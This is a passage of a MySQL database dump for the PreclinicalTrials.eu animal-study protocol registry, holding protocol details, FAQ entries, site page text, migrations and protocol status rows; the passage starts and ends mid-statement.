	(10358,287,'study_arms','[{\"type\":\"sham\",\"number\":\"32\",\"intervention\":\"Mock-inoculated\"},{\"type\":\"other\",\"number\":\"32\",\"intervention\":\"Virus-inoculated\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Na\\u00efve \"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10359,287,'randomisation','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10360,287,'why_no_randomisation','\"Sexes and litters cannot be mixed.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10361,287,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10362,287,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10363,287,'yes_blinded_assessment_partially_details','\"Analysis will be performed using pseudonymized mice IDs.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10364,287,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10365,287,'application_number','\"AVD1010020187204\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10366,288,'title','\"What about Transparency? A SR on the transparency status of recent publications regarding unplanned deaths in preclinical in vivo porcine model experiments in the Cardiovascular System research field.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10367,288,'short_title','\"fatality rate in preclinical in vivo porcine model experiments\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10368,288,'contact_name','\"David Trietschel\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10369,288,'contact_role','\"executive researcher\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10370,288,'contact_email','\"david.trietschel@med.uni-jena.de\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10371,288,'study_centre','[{\"name\":\"University Hospital, Dpt. Animal Welfare\",\"city\":\"Jena\",\"country\":\"DE\"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10372,288,'financial_support','[\"grants\"]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10373,288,'start_date','\"2020-11-01\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10374,288,'end_date','\"2022-03-31\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10375,288,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10376,288,'research_field','\"cardiology\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10377,288,'hypothesis','\"What is the rate of publications and reports of preclinical  in-vivo  studies on (iii) porcine model that mention (ii) fatalities, due to (iv) unexpected adverse events in the present study landscape from 2000-2021 within the research area (i) \\u201cCardiovascular System\\u201d?\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10378,288,'intervention_type','\"surgery\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10379,288,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10380,288,'species','\"pig\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10381,288,'experimental_design','\"questioning processing &lt;-&gt; database search strategy\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10382,288,'sex','\"both\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10383,288,'primary_readout_parameter','\"\\u2022 Number and proportion of publications mentioning fatalities\\n\\u2022 Overall number of used animals, physical status parameter, death rate,  intervention kind,  time of the incident within selected publications\\n\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10384,288,'secondary_readout_parameter','\"Comparison of reporting quality and risk factors of selected studys  \\n\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10385,288,'study_arms','[{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10386,288,'has_embargo','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10387,287,'has_embargo','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07');

/*!40000 ALTER TABLE `details` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table failed_jobs
# ------------------------------------------------------------

DROP TABLE IF EXISTS `failed_jobs`;

CREATE TABLE `failed_jobs` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `uuid` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `connection` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `queue` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `payload` longtext COLLATE utf8mb4_unicode_ci NOT NULL,
  `exception` longtext COLLATE utf8mb4_unicode_ci NOT NULL,
  `failed_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table faq_categories
# ------------------------------------------------------------

DROP TABLE IF EXISTS `faq_categories`;

CREATE TABLE `faq_categories` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `order` int(11) NOT NULL DEFAULT '0',
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `faq_categories` WRITE;
/*!40000 ALTER TABLE `faq_categories` DISABLE KEYS */;

INSERT INTO `faq_categories` (`id`, `name`, `order`, `created_at`, `updated_at`)
VALUES
	(1,'Registration',0,'2022-03-22 07:55:27','2022-03-22 07:55:27'),
	(2,'Privacy',0,'2022-03-22 07:55:27','2022-03-22 07:55:27'),
	(3,'Protocols',0,'2022-03-22 07:55:27','2022-03-22 07:55:27'),
	(4,'Other',0,'2022-03-22 07:55:27','2022-03-22 07:55:27');

/*!40000 ALTER TABLE `faq_categories` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table faq_items
# ------------------------------------------------------------

DROP TABLE IF EXISTS `faq_items`;

CREATE TABLE `faq_items` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `faq_category_id` bigint(20) unsigned NOT NULL,
  `title` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `content` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `status` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'draft',
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `faq_items_faq_category_id_foreign` (`faq_category_id`),
  CONSTRAINT `faq_items_faq_category_id_foreign` FOREIGN KEY (`faq_category_id`) REFERENCES `faq_categories` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `faq_items` WRITE;
/*!40000 ALTER TABLE `faq_items` DISABLE KEYS */;

INSERT INTO `faq_items` (`id`, `faq_category_id`, `title`, `content`, `status`, `created_at`, `updated_at`)
VALUES
	(1,1,'How do I register?','<p>Go to the homepage and click \'Join to create a user account\' and fill in the form. We will send you an automatic email as confirmation and all you need to is click the link in that email to confirm your request. If you do not receive the automatic email within a few minutes check your Spam filters in case it has been blocked. If the message is there then please mark perclinicaltrials.eu as a safe sender so the filters do not block subsequent messages. If it’s still not there then please contact <a href=\'mailto:info@preclinicaltrials.eu\'>info@preclinicaltrials.eu</a> for help.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(2,1,'Is registration free?','<p>Yes</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(3,3,'How do I submit a protocol?','<p>Once you are logged in, click \'Create a new record\' and simply complete the form. Once you are happy that you have answered all mandatory questions click the \'Submit for publication\' button. If you find that you run out of time when filling in the form you can just click the \'Save changes for later\' button and the information you have provided will be saved for later. You will not be able to submit the form if you have missed any mandatory questions, which will be highlighted in red for you when you click the \'Submit for publication\' button.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(4,2,'Are personal details of researcher visible on the website?','<p>You can choose if you want to share your contact details or if you would rather anonymize them. If you choose to anonymize your contact details, it will be possible for other members Preclinicaltrials.eu to contact you by an anonymized email address.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(5,3,'Will there be a time-stamped date on my protocol?','<p>Yes. The protocol will be time-stamped on the date of submission and the date of publication.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(6,3,'What will happen with my submitted protocol?','<p>Every submission will be checked if it is a protocol of an animal study and if it is filled out correctly. Importantly, no additional ethical or scientific review will be performed.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(7,3,'Will I be notified if my study has been accepted for publication?','<p>Yes. You will receive an email when your record is accepted for publication. Your record will also be flagged as “published” in the “View my previous submissions” section.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(8,2,'Will my published protocol be openly accessible to everyone?','<p>The database is accessible for anyone who visits the website. You can choose per protocol whether you want to publish all data immediately, or if you want to have an embargo on the details of your protocol. If you choose to use the embargo, limited information will appear online immediately (Preclinicaltrials.eu ID, (anonymized) contact details, date of submission and sunrise date). The sunrise date is automatically set at 1 year after acceptance of your protocol.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(9,2,'If I choose the embargo, what data will be published immediately after approval?','<p>A selection of data will be published immediately:<ul><li>PreclinicalTrials.eu ID</li><li>(anonymized) contact details</li><li>Date of submission</li><li>Date of publication</li></ul></p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(10,2,'I do not want to share sensitive data, also not after one year. Can I redact data?','<p>No, you are not able to redact data. However, we mainly focus on the methodology of the study. Detailed descriptions on compounds or devices are not mandatory, one can even choose to register a study with for example “compound X”.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(11,3,'My study was rejected, am I able to re-submit it?','<p>No. We will not reject a record unless it clearly does not meet our inclusion criteria. You are not able to re-submit a rejected record. You will receive and automatic email if your record is rejected. Your record will also be flagged as “rejected” in the “View my previous submissions” section. If you have any further questions, please contact us at <a href=\'mailto:info@preclinicaltrials.eu\'>info@preclinicaltrials.eu</a>.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(12,3,'I am unable to edit a record that I have published?','<p>Once a record is published it remains locked. Any revisions or updates that you want to make to that record must be done by creating an updated version. Click the “Update” button next to the record to start an update.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31'),
	(13,4,'How do I contact preclinicaltrials.eu if I have an issue?','<p>If you have questions or need assistance relating to an update or in general, e-mail <a href=\'mailto:info@preclinicaltrials.eu\'>info@preclinicaltrials.eu</a>.</p>','published','2022-03-22 07:55:31','2022-03-22 07:55:31');

/*!40000 ALTER TABLE `faq_items` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table migrations
# ------------------------------------------------------------

DROP TABLE IF EXISTS `migrations`;

CREATE TABLE `migrations` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `migration` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `batch` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `migrations` WRITE;
/*!40000 ALTER TABLE `migrations` DISABLE KEYS */;

INSERT INTO `migrations` (`id`, `migration`, `batch`)
VALUES
	(1,'2014_10_12_000000_create_users_table',1),
	(2,'2014_10_12_100000_create_password_resets_table',1),
	(3,'2019_08_19_000000_create_failed_jobs_table',1),
	(4,'2019_12_14_000001_create_personal_access_tokens_table',1),
	(5,'2020_10_19_135636_create_faq_categories_table',1),
	(6,'2020_10_19_135731_create_faq_items_table',1),
	(7,'2021_11_09_124108_create_protocols_table',1),
	(8,'2021_11_09_1247117_create_details_table',1),
	(9,'2021_11_09_124731_create_revisions_table',1),
	(10,'2021_11_30_121147_create_news_items_table',1),
	(11,'2021_12_06_084113_create_roles_table',1),
	(12,'2021_12_06_084209_create_role_user_table',1),
	(13,'2021_12_13_073757_create_pages_table',1),
	(14,'2022_01_08_105135_create_contact_forms_table',1),
	(15,'2022_01_10_124700_create_admin_actions_table',1);

/*!40000 ALTER TABLE `migrations` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table news_items
# ------------------------------------------------------------

DROP TABLE IF EXISTS `news_items`;

CREATE TABLE `news_items` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `status` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'draft',
  `title` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `summary` text COLLATE utf8mb4_unicode_ci,
  `image` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `content` text COLLATE utf8mb4_unicode_ci,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table pages
# ------------------------------------------------------------

DROP TABLE IF EXISTS `pages`;

CREATE TABLE `pages` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `title` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `subtitle` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `menu_title` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `slug` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `content_blocks` text COLLATE utf8mb4_unicode_ci,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `pages` WRITE;
/*!40000 ALTER TABLE `pages` DISABLE KEYS */;

INSERT INTO `pages` (`id`, `title`, `subtitle`, `menu_title`, `slug`, `content_blocks`, `created_at`, `updated_at`)
VALUES
	(1,'PreclinicalTrials.eu','International register of preclinical trial protocols','Homepage','/','[{\"type\":\"text\",\"content\":\"<p>Preclinicaltrials aims to provide a comprehensive listing ofpreclinical animal study protocols. Preferably registered atinception in order to increase transparency, help avoid duplication,and reduce the risk of reporting bias by enabling comparison of thecompleted study with what was planned in the protocol. Registration of your study requires you to create an account that is:<\\/p><ul><li>Anonymous<\\/li><li>Free of charge<\\/li><li>Has an optional embargo period<\\/li><\\/ul>\"},{\"type\":\"text\",\"content\":\"<p>This register is web-based, open to all types of animal studies and freelyaccessible and searchable to all with a preclinicaltrials.eu account. The registration form is designed by experts on preclinical animal studies andpreclinical evidence synthesis. Please join us and create a user account,this will provide access to the database and enables you to register your preclinical trial. Contact us at <a href=\'mailto:info@preclinicaltrials.eu\'>info@preclinicaltrials.eu<\\/a><\\/p>\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(2,'About PCT','','About PCT','/about-pct','[{\"type\":\"text\",\"content\":\"<h3>Goals and aims of Preclinicaltrials.eu<\\/h3><p>Preclinicaltrials.eu aims to provide a comprehensive overview of all animal studies, including those that might otherwise remain unpublished. By(prospective) registration of animal studies we aim to:<\\/p><ul><li>Increase transparency<\\/li><li>Avoid unnecessary duplication of animal studies<\\/li><li>Reduce reporting bias, such as publication bias and bias induced by selective outcome reporting, p-hacking and HARKing<\\/li><li>Increase data sharing, by<\\/li><ul><li>allowing fellow researchers and reviewers to access information on the study design, which is often lacking in publications<\\/li><li>provide a platform to share details and data of otherwise unpublished animal studies<\\/li><\\/ul><li>Create opportunities for collaborative research<\\/li><\\/ul><h3>Which studies can you register on Preclinicaltrials.eu?<\\/h3><p>The register is open for all animal studies. We especially encourage researchers to register their confirmatory studies. This register is created with support of the Transnational AllianCe for regenerative Therapies In CardiovascularSyndromes (TACTICS) alliance. Therefore the original focus is on the field of cardiac regenerative therapy. The design of the registration form is discussed with members of the TACTICS alliance. However, the register is open for studies from all fields of biomedical science. Furthermore, registration is not limited to a certain country or continent.<\\/p>\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(3,'Team','','Team','/about-pct/team','[]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(4,'Advisory board','','Advisory board','/about-pct/advisory-board','[]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(5,'Background information','','Background information','/about-pct/background-information','[{\"type\":\"text\",\"content\":\"<h3>Relevant literature<\\/h3><ul><li>Kimmelman et al \\u2013 Should preclinical studies be registered?DOI:10.1038\\/nbt.2261<\\/li><li>Jansen of Lorkeers SJ \\u2013 All preclinical trials should be registered in advance in an online registry<\\/li><li>Chamuleau SAJ - Translational research in cardiovascular repair: A call fora paradigm shift<\\/li><\\/ul><strong>Preclinical systematic reviews and meta-analysis<\\/strong><p>The CAMARADES framework provides support for groups involved in preclinical systematic reviews and meta-analysis.<\\/p><p>The Systematic Review Center for Laboratory animal Experimentation (SYRCLE)supports and trains researchers working with preclinical systematic reviews.<\\/p><h3>Registries for clinical trials<\\/h3><p>There are multiple registrations for clinical trials. The World HealthOrganisation provides additional information on these clinical trials.<\\/p><p>The Dutch parliament passed a motion on July 3rd 2018 stating that prospective registration of animal studies and sharing of data should become the norm.<\\/p><p>Internationally, we are supported by the TACTICS consortium and the EuropeanSociety of Cardiology working group on cardiovascular regenerative and reparative medicine (ESC WG CARE). We plan to expand this line of international support.<\\/p><h3>Support for prospective registration of confirmatory animal studies<\\/h3><p>In The Netherlands we are now supported by funders, research institutes and research groups. The Royal Netherlands Academy of Arts and Sciences and theNetherlands Organization for Scientific Research are involved to guarantee permanent access to the database. Internationally, we are supported by theTACTICS consortium and the European Society of Cardiology working group on cardiovascular regenerative and reparative medicine (ESC WG CARE). We plan to expand this line of international support.<\\/p>\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(6,'Help','','Help','/help','[]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(7,'News','Updates including congresses and workshops where preclinicaltrials.eu is involved','News','/news','[]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(8,'Contact','','Contact','/contact','[{\"type\":\"text\",\"content\":\"<p>For more information you can also contact us at <a href=\'mailto:info@preclinicaltrials.eu\'>info@preclinicaltrials.eu<\\/a><\\/p>\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(9,'Disclaimer','Terms and Conditions','Disclaimer','/disclaimer','[{\"type\":\"text\",\"content\":\"<p>The information contained in this website is for general information purposes only and the safety and validity of a study on preclinicaltrials.eu is the responsibility of the study sponsor and investigator. The information is provided by preclinicaltrials.eu and while we endeavour to keep the information up to date and correct, we make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability or availability with respect to the website or the information, products, services, or related graphics contained on the website for any purpose. Any reliance you place on such information is therefore strictly at your own risk.<\\/p><p>In no event will preclinicaltrials.eu or its developers be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this website.Through this website you are able to link to other websites which are not under the control of preclinicaltrials.eu. While we make efforts to ensure the links are correct and up to date, we have no control over the nature, content and availability of those sites. The inclusion of any links does not necessarily imply a recommendation or endorse the views expressed within them and you use those links at your own risk.<\\/p><p>Every effort is made to keep the website up and running smoothly. However, preclinicaltrials.eu takes no responsibility for, and will not be liable for, the website being unavailable due to technical issues.<\\/p>\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53'),
	(10,'Ambassadors','','Ambassadors','/about-pct/ambassadors','[{\"type\":\"text\",\"content\":\"\"}]','2022-01-24 12:30:53','2022-01-24 12:30:53');

/*!40000 ALTER TABLE `pages` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table password_resets
# ------------------------------------------------------------

DROP TABLE IF EXISTS `password_resets`;

CREATE TABLE `password_resets` (
  `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `token` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  KEY `password_resets_email_index` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table personal_access_tokens
# ------------------------------------------------------------

DROP TABLE IF EXISTS `personal_access_tokens`;

CREATE TABLE `personal_access_tokens` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `tokenable_type` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `tokenable_id` bigint(20) unsigned NOT NULL,
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `token` varchar(64) COLLATE utf8mb4_unicode_ci NOT NULL,
  `abilities` text COLLATE utf8mb4_unicode_ci,
  `last_used_at` timestamp NULL DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `personal_access_tokens_token_unique` (`token`),
  KEY `personal_access_tokens_tokenable_type_tokenable_id_index` (`tokenable_type`,`tokenable_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table protocols
# ------------------------------------------------------------

DROP TABLE IF EXISTS `protocols`;

CREATE TABLE `protocols` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL,
  `status` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'draft',
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `protocols_user_id_foreign` (`user_id`),
  CONSTRAINT `protocols_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `protocols` WRITE;
/*!40000 ALTER TABLE `protocols` DISABLE KEYS */;

INSERT INTO `protocols` (`id`, `user_id`, `status`, `created_at`, `updated_at`)
VALUES
	(94,41,'draft','2017-09-01 09:39:56','2017-09-01 09:39:56'),
	(95,41,'draft','2017-09-01 09:42:36','2017-09-01 09:42:36'),
	(96,41,'draft','2017-09-01 09:43:08','2017-09-01 09:43:08'),
	(97,41,'draft','2017-09-01 09:58:15','2017-09-01 09:58:15'),
	(98,51,'published','2017-08-29 11:42:13','2017-09-25 11:42:13'),
	(103,54,'rejected','2017-10-12 15:05:34','2017-10-12 15:05:34'),
	(104,64,'published','2017-11-09 12:44:09','2017-11-09 12:44:09'),
	(105,26,'published','2017-11-10 16:48:09','2021-10-29 10:00:43'),
	(107,65,'published','2017-11-15 16:28:13','2017-11-15 16:28:13'),
	(110,93,'published','2018-01-08 20:26:45','2018-01-08 20:26:45'),
	(111,69,'draft','2018-01-15 13:04:25','2018-01-15 13:04:25'),
	(114,210,'published','2018-04-13 03:25:47','2018-04-13 03:25:47'),
	(115,236,'draft','2018-04-28 12:07:55','2018-04-28 12:07:55'),
	(116,236,'draft','2018-04-28 17:53:16','2018-04-28 17:53:16'),
	(117,236,'draft','2018-04-29 23:40:24','2018-04-29 23:40:24'),
	(118,31,'published','2018-05-01 17:03:27','2018-05-01 17:03:27'),
	(119,211,'published','2018-05-01 18:15:18','2018-05-01 18:15:18'),
	(120,236,'draft','2018-05-03 22:59:43','2018-05-03 22:59:43'),
	(121,217,'published','2018-05-09 14:22:04','2018-05-09 14:22:04'),
	(122,269,'draft','2018-05-30 14:38:34','2018-05-30 14:38:34'),
	(123,34,'draft','2018-06-01 07:55:44','2018-06-01 07:55:44'),
	(124,69,'draft','2018-06-12 10:40:13','2018-06-12 10:40:13'),
	(125,279,'published','2018-06-13 18:34:17','2018-06-13 18:34:17'),
	(126,297,'draft','2018-07-02 12:26:19','2018-07-02 12:26:19'),
	(127,171,'draft','2018-07-09 19:35:42','2018-07-09 19:35:42'),
	(128,293,'published','2018-08-02 00:04:50','2018-08-02 00:04:50'),
	(129,298,'published','2018-08-10 12:34:15','2018-08-10 12:34:15'),
	(130,337,'published','2018-08-23 12:49:31','2021-09-30 17:03:12'),
	(131,411,'published','2018-08-29 12:16:38','2018-08-29 12:16:38'),
	(132,400,'published','2018-09-05 10:52:27','2018-09-05 10:52:27'),
	(134,211,'published','2018-09-20 23:27:28','2018-09-20 23:27:28'),
	(135,246,'published','2018-10-11 17:12:58','2018-10-11 17:12:58'),
	(136,494,'draft','2018-11-13 14:56:56','2018-11-13 14:56:56'),
	(137,507,'published','2018-11-22 22:58:41','2018-11-22 22:58:41'),
	(138,507,'published','2018-11-27 16:46:09','2018-11-27 16:46:09'),
	(139,507,'published','2018-11-27 17:12:51','2021-07-29 16:23:40'),
	(140,522,'draft','2018-11-30 17:09:36','2018-11-30 17:09:36'),
	(141,559,'published','2019-01-08 16:30:18','2019-01-08 16:30:18'),
	(142,604,'published','2019-02-18 12:13:45','2021-03-16 11:07:49'),
	(143,339,'published','2019-03-07 15:58:28','2021-07-23 08:49:31'),
	(144,646,'published','2019-03-08 12:39:33','2019-03-08 12:39:33'),
	(145,646,'published','2019-03-08 12:46:52','2019-03-08 12:46:52'),
	(146,306,'draft','2019-03-19 15:32:20','2019-03-19 15:32:20'),
	(147,648,'published','2019-03-27 04:57:48','2019-03-27 04:57:48'),
	(148,507,'published','2019-04-05 17:36:05','2021-03-31 11:28:46'),
	(149,507,'published','2019-04-05 18:03:10','2021-07-28 17:15:00'),
	(150,688,'published','2019-04-08 12:11:18','2019-04-08 12:11:18'),
	(151,712,'draft','2019-04-29 12:14:02','2019-04-29 12:14:02'),
	(152,507,'published','2019-05-01 19:12:05','2022-03-31 10:52:13'),
	(153,647,'draft','2019-05-04 14:58:04','2019-05-04 14:58:04'),
	(154,722,'draft','2019-05-07 07:33:45','2019-05-07 07:33:45'),
	(155,507,'published','2019-05-10 19:00:06','2019-05-10 19:00:06'),
	(156,736,'published','2019-05-13 17:58:36','2019-05-13 17:58:36'),
	(157,31,'draft','2019-05-17 13:02:15','2019-05-17 13:02:15'),
	(158,742,'published','2019-05-20 08:57:31','2019-05-20 08:57:31'),
	(159,724,'published','2019-05-23 11:27:15','2019-05-23 11:27:15'),
	(160,774,'draft','2019-06-12 06:39:44','2019-06-12 06:39:44'),
	(161,507,'published','2019-06-14 22:36:26','2019-06-14 22:36:26'),
	(162,812,'published','2019-07-20 11:36:06','2019-07-20 11:36:06'),
	(163,837,'draft','2019-08-09 13:05:32','2019-08-09 13:05:32'),
	(164,507,'published','2019-08-20 16:58:04','2022-03-25 08:53:15'),
	(165,507,'published','2019-08-20 17:48:55','2019-08-20 17:48:55'),
	(166,507,'published','2019-08-20 18:01:18','2019-08-20 18:01:18'),
	(167,648,'published','2019-08-28 04:45:33','2019-08-28 04:45:33'),
	(169,882,'published','2019-09-15 00:37:00','2019-09-15 00:37:00'),
	(170,900,'draft','2019-10-08 15:12:51','2019-10-08 15:12:51'),
	(171,902,'published','2019-10-09 10:53:21','2019-10-09 10:53:21'),
	(172,811,'rejected','2019-10-16 09:55:46','2019-10-16 09:55:46'),
	(173,522,'published','2019-10-25 18:55:53','2021-06-24 17:37:25'),
	(174,930,'published','2019-11-01 16:46:08','2019-11-01 16:46:08'),
	(175,939,'published','2019-11-06 18:08:38','2019-11-06 18:08:38'),
	(176,932,'draft','2019-11-07 04:21:05','2019-11-07 04:21:05'),
	(177,948,'published','2019-11-16 11:23:03','2019-11-16 11:23:03'),
	(178,953,'draft','2019-11-22 18:05:02','2019-11-22 18:05:02'),
	(179,971,'published','2019-12-09 16:34:12','2019-12-09 16:34:12'),
	(180,990,'draft','2020-01-07 01:05:06','2020-01-07 01:05:06'),
	(181,522,'published','2020-01-13 17:19:02','2021-06-24 17:41:22'),
	(182,522,'published','2020-01-21 08:58:20','2021-12-20 11:11:13'),
	(183,1,'draft','2020-02-21 18:14:44','2020-02-21 18:14:44'),
	(184,1039,'draft','2020-02-23 10:54:57','2020-02-23 10:54:57'),
	(185,1058,'published','2020-03-03 14:33:36','2021-05-23 17:54:07'),
	(186,1087,'draft','2020-03-19 23:55:25','2020-03-19 23:55:25'),
	(187,1137,'published','2020-04-25 09:20:54','2020-04-25 09:20:54'),
	(188,1139,'published','2020-04-27 07:31:54','2022-02-14 11:08:51'),
	(189,1145,'published','2020-05-01 13:40:57','2020-05-01 13:40:57'),
	(190,1170,'published','2020-05-16 22:20:54','2021-03-19 16:02:38'),
	(191,1185,'published','2020-06-06 13:53:58','2020-06-06 13:53:58'),
	(192,1202,'draft','2020-06-12 09:44:45','2020-06-12 09:44:45'),
	(193,507,'published','2020-06-12 20:35:58','2021-07-28 17:15:26'),
	(194,1205,'draft','2020-06-13 23:20:41','2020-06-13 23:20:41'),
	(195,507,'published','2020-06-17 18:01:04','2021-07-09 09:37:13'),
	(196,507,'published','2020-06-18 17:28:28','2020-06-18 17:28:28'),
	(197,1215,'published','2020-06-22 08:32:05','2020-06-22 08:32:05'),
	(198,948,'published','2020-07-05 08:53:51','2020-07-05 08:53:51'),
	(199,1241,'published','2020-07-08 22:18:04','2020-07-08 22:18:04'),
	(200,717,'published','2020-07-21 12:00:58','2021-10-19 13:48:45'),
	(201,1185,'published','2020-07-23 13:59:38','2020-07-23 13:59:38'),
	(203,1241,'rejected','2020-07-27 21:45:42','2020-07-27 21:45:42'),
	(204,1185,'published','2020-08-05 23:08:25','2020-08-05 23:08:25'),
